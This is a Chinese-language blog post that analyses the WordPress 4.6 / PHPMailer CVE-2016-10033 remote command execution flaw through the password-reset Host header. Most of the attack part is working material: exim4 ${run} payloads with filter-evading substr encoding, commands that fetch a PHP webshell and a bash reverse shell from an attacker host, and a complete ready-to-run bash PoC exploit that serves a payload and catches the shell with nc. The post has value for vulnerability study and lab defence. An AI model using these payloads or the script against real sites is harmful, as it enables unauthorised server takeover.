WordPress 4.6 任意命令执行漏洞

2020-08-30 WP排行榜
WordPress是使用PHP语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。看的很多打CTF的大佬也是用这个平台。但是WordPress(版本 <= 4.6)存在任意命令执行的漏洞,这个问题还是PHPMailer的问题。PHPMailer是一个基于PHP语言的邮件发送组件,被广泛运用于诸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等用户量巨大的应用与框架中。PHPMailer(版本 < 5.2.18)存在编号为CVE-2016-10033的远程命令执行漏洞,而这里就是WordPress使用PHPMailer组件向用户发送邮件,当攻击者通过构造恶意邮箱地址时,可以写入任意文件,造成远程命令执行的危害。

0x01影响范围

WordPress <= 4.7.1

PHPMailer < 5.2.18

0x02漏洞分析

CVE-2016-10033漏洞是mail函数的第五个参数,传命令参数的部分没有进行转义,导致造成了RCE。因为mail函数是调用系统的sendmail命令进行邮件发送,sendmail的参数-X可以将日志写入指定文件。这是一个跟2012年的Roundcube的RCE类似的漏洞。具体可以查看:https:// paper.seebug.org /161/#1_1

WordPress命令执行漏洞页面:/wp-login.php?action=lostpassword

此处是管理员重置密码页面,WordPress使用PHPMailer组件进行重置密码邮件的发送时,如果PHPMailer版本<5.2.18则存在类似CVE-2016-10033的漏洞,造成RCE。

 

在class-phpmailer.php中审计代码,发现了mail函数,去找一下它第五个参数是从哪里传入的。

 

在后面发现是由$this->Sender传给$params后,追踪一下$this->Send

 

查看了$this->Sender的引用后,$address可以传给$this->Sender,追踪一下谁调用了setFrom函数

 

在pluggable.php中存在这个调用,$from_email则是下一个要找的参数

 

往上翻一点就可以看到了,是由$_SERVER[‘SERVER_NAME’]的内容传给$from_email。这时候,就知道了$_SERVER[‘SERVER_NAME’] -> $from_email -> $this->Sender -> $params。这里注意到了strtolower()函数,它可以将把所有字符转换为小写,$sitename通过传入的SERVER_NAME参数获取主机名,主机名为HTTP请求报文中的host值,但是这里并不能使用大写字母的参数,导致了CVE-2016-10033漏洞的用法是不行的(这里的想法是自己想的,不确定是不是正确的),需要另外找一个方法。

 

在这里,知道了它是使用sendmail来发送邮件的

 

查看了一下liunx中/usr/sbin/sendmail,发现了它是通过exim4执行的

 

查找了exim4的用法,知道了exim4中有-be参数可以用于读取变量的数据,且$run可以调用系统命令,调用的命令需要知道命令的地址(通过”which order”来查看命令的位置)

这时候我们能构造的payload为:target(tmp1 -be ${run{/usr/bin/touch /tmp/ceshi.txt}} tmp2),尝试一下能否创建一个文件来。

但是,wordpress和PHPMailer会防止攻击者注入空字符(空格或者TAB)到sendmail命令中;并且如果host字段中出现了’/’斜杆的话,服务器会拒绝请求。

这个问题还是可以通过exim4解决,因为它支持一些函数来执行命令

 

这里$tod_log本来是用来查看当前时间的,但是通过substr函数我们能取得其中的空格

 

$spool_directory本来是查看命令的地址的,但是我们一样能通过substr函数取得’/’斜杆

空格—–>${substr{10}{1}{$tod_log}}

/—–>${substr{0}{1}{$spool_directory}}

最后的payload为

target(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}manning.test}} tmp2)

 

 

通过上面两张图片,我们发送了payload后返回的状态码为302,靶机接收了payload并且没有报错,我们在查看一下靶机的/tmp目录下,通过两次查看确定了我们可以通过这个方法来保存文件。

总结一下一些需要注意的地方:

1、不能出现大写字母,因为大写字母会被转换成小写

2、使用命令时需要使用命令的绝对路径

3、POST请求中的user_login参数使用的用户名必须是存在的

4、重置密码的邮件是由exim4来发送的

5、执行的命令不能包含大量特殊字符

满足以上条件的话,就可以随意更改payload来执行我们想要的命令了

 

这里贴出ExploitBox在使用payload时参数的储存格式,详细地址:https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

0x03漏洞利用

写入一句话木马

利用的思路是使用wget命令下载远程文件。

在一台win7上开启web服务,放上一句话木马的脚本

Payload

target(tmp1 -be ${run{/usr/bin/wget –output-document /var/www/html/shell.php 10.10.10.132/1.txt}} tmp2)

替换空格和斜杆后payload

target(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}–output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}10.10.10.132${substr{0}{1}{$spool_directory}}1.txt}} tmp2)

 

最后使用中国蚁剑连接就可以了

反弹shell

在web服务上放好脚本,内容为bash -i >& /dev/tcp/10.10.10.128/7001 0>&1,这里10.10.10.128为攻击者的IP地址,7001为监听的端口

Payload

target(tmp1 -be ${run{/usr/bin/wget –output-document /tmp/shell 10.10.10.132/2.txt}} tmp2)

替换空格和斜杆后payload

target(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}–output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}10.10.10.132${substr{0}{1}{$spool_directory}}2.txt}} tmp2)

发送完payload后,攻击者打开nc -lvp 7001进行监听,再次发送payload使shell运行

Payload

target(tmp1 -be ${run{/bin/bash /tmp/shell}} tmp2)

替换空格和斜杆后payload

target(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} tmp2)

 

反弹shell成功

0x04POC

#!/bin/bash

#

#      __                     __   __  __           __

#     / /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________

#    / /   / _ / __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ / ___/ ___/

#   / /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  )

#  /_____/___/__, /__,_/_/  /_/ /_/__,_/___/_/|_|___/_/  /____/

#            /____/

#

#

# WordPress 4.6 – Remote Code Execution (RCE) PoC Exploit

# CVE-2016-10033

#

# wordpress-rce-exploit.sh (ver. 1.0)

#

#

# Discovered and coded by

#

# Dawid Golunski (@dawid_golunski)

# https://legalhackers.com

#

# ExploitBox project:

# https://ExploitBox.io

#

# Full advisory URL:

# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

#

# Exploit src URL:

# https://exploitbox.io/exploit/wordpress-rce-exploit.sh

#

#

# Tested on WordPress 4.6:

# https://github.com/WordPress/WordPress/archive/4.6.zip

#

# Usage:

# ./wordpress-rce-exploit.sh target-wordpress-url

#

#

# Disclaimer:

# For testing purposes only

#

#

# —————————————————————–

#

# Interested in vulns/exploitation?

#

#

#                        .;lc’

#                    .,cdkkOOOko;.

#                 .,lxxkkkkOOOO000Ol’

#             .’:oxxxxxkkkkOOOO0000KK0x:’

#          .;ldxxxxxxxxkxl,.’lk0000KKKXXXKd;.

#       ‘:oxxxxxxxxxxo;.       .:oOKKKXXXNNNNOl.

#      ”;ldxxxxxdc,.              ,oOXXXNNNXd;,.

#     .ddc;,,:c;.         ,c:         .cxxc:;:ox:

#     .dxxxxo,     .,   ,kMMM0:.  .,     .lxxxxx:

#     .dxxxxxc     lW. oMMMMMMMK  d0     .xxxxxx:

#     .dxxxxxc     .0k.,KWMMMWNo :X:     .xxxxxx:

#     .dxxxxxc      .xN0xxxxxxxkXK,      .xxxxxx:

#     .dxxxxxc    lddOMMMMWd0MMMMKddd.   .xxxxxx:

#     .dxxxxxc      .cNMMMN.oMMMMx’      .xxxxxx:

#     .dxxxxxc     lKo;dNMN.oMM0;:Ok.    ‘xxxxxx:

#     .dxxxxxc    ;Mc   .lx.:o,    Kl    ‘xxxxxx:

#     .dxxxxxdl;. .,               .. .;cdxxxxxx:

#     .dxxxxxxxxxdc,.              ‘cdkkxxxxxxxx:

#      .’:oxxxxxxxxxdl;.       .;lxkkkkkxxxxdc,.

#          .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.

#             .’:oxxxxxxxxx.ckkkkkkkkxl,.

#                 .,cdxxxxx.ckkkkkxc.

#                    .’:odx.ckxl,.

#                        .,.’.

#

# https://ExploitBox.io

#

# https://twitter.com/Exploit_Box

#

# —————————————————————–

rev_host=”10.10.10.128″ #修改为目标IP

function prep_host_header() {

cmd=”$1″

rce_cmd=”${run{$cmd}}”;

# replace / with ${substr{0}{1}{$spool_directory}}

#sed ‘s^/^${substr{0}{1}{$spool_directory}}^g’

rce_cmd=”`echo $rce_cmd | sed ‘s^/^${substr{0}{1}{$spool_directory}}^g’`”

# replace ‘ ‘ (space) with

#sed ‘s^ ^${substr{10}{1}{$tod_log}}$^g’

rce_cmd=”`echo $rce_cmd | sed ‘s^ ^${substr{10}{1}{$tod_log}}^g’`”

#return “target(any -froot@localhost -be $rce_cmd null)”

host_header=”target(any -froot@localhost -be $rce_cmd null)”

return 0

}

#cat exploitbox.ans

intro=”

DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r

bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f

G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c

G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg

IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f

IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f

X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6

b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb

NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N

TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1

QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz

NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g

G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54

eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb

WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO

TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg

ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb

MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD

G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob

WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz

NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb

MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f

X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4

bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K”

intro2=”

ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09

fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb

MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg

ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE

aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09

fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg

ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh

bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt

ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt

ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp

bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1

cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg==”

echo “$intro”  | base64 -d

echo “$intro2” | base64 -d

if [ “$#” -ne 1 ]; then

echo -e “Usage: $0 target-wordpress-url ”

exit 1

fi

target=”$1″

echo -ne “e[91m[*][0m”

read -p ” Sure you want to get a shell on the target ‘$target’ ? [y/N] ” choice

echo

if [ “$choice” == “y” ]; then

echo -e “e[92m[*][0m Guess I can’t argue with that… Let’s get started… ”

echo -e “e[92m[+][0m Connected to the target”

# Serve payload/bash script on :80

RCE_exec_cmd=”(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &”

echo “$RCE_exec_cmd” > rce.txt

python -mSimpleHTTPServer 80 2>/dev/null >&2 &

hpid=$!

# Save payload on the target in /tmp/rce

cmd=”/usr/bin/curl -o/tmp/rce $rev_host/rce.txt”

prep_host_header “$cmd”

curl -H”Host: $host_header” -s -d ‘user_login=admin&wp-submit=Get+New+Password’ $target/wp-login.php?action=lostpassword#修改user_login为存在的user

echo -e ” e[92m[+]e[0m Payload sent successfully”

# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce

cmd=”/bin/bash /tmp/rce”

prep_host_header “$cmd”

curl -H”Host: $host_header” -d ‘user_login=admin&wp-submit=Get+New+Password’ $target/wp-login.php?action=lostpassword &

echo -e ” e[92m[+][0m Payload executed!”

echo -e ” e[92m[*][0m Waiting for the target to send us a e[94mreverse shelle[0m… ”

nc -vv -l -p 1337

echo

else

echo -e “e[92m[+][0m Responsible choice 😉 Exiting. ”

exit 0

fi

echo “Exiting…”

exit 0

POC执行的命令:./exp.sh http://10.10.10.130:8000,10.10.10.130:8000为目标的IP地址

分析一下这个POC

 

上述部分为构造payload的函数,把我们要执行的命令传递进来按照漏洞规则写入host中

 

上述部分为判断是否输入目标地址和是否确认获取目标地址的反弹shell

 

上述部分是把靶机请求连接的命令生成rce.txt文件保存在当前目录中,同时使用python把当前目录临时发布到http网络中,使得可以远程访问当前目录中的文件

 

上述部分为漏洞利用的反弹shell,通过两条命令完成

 

上述部分为在攻击机上执行nc监听命令,监听并连接靶机发送过来的连接请求,获取靶机的shell



助你挑选高品质的WordPress主题
WP排行榜官方QQ:1227810339
主营:网站建设,SEO推广服务!

wordpress托管建站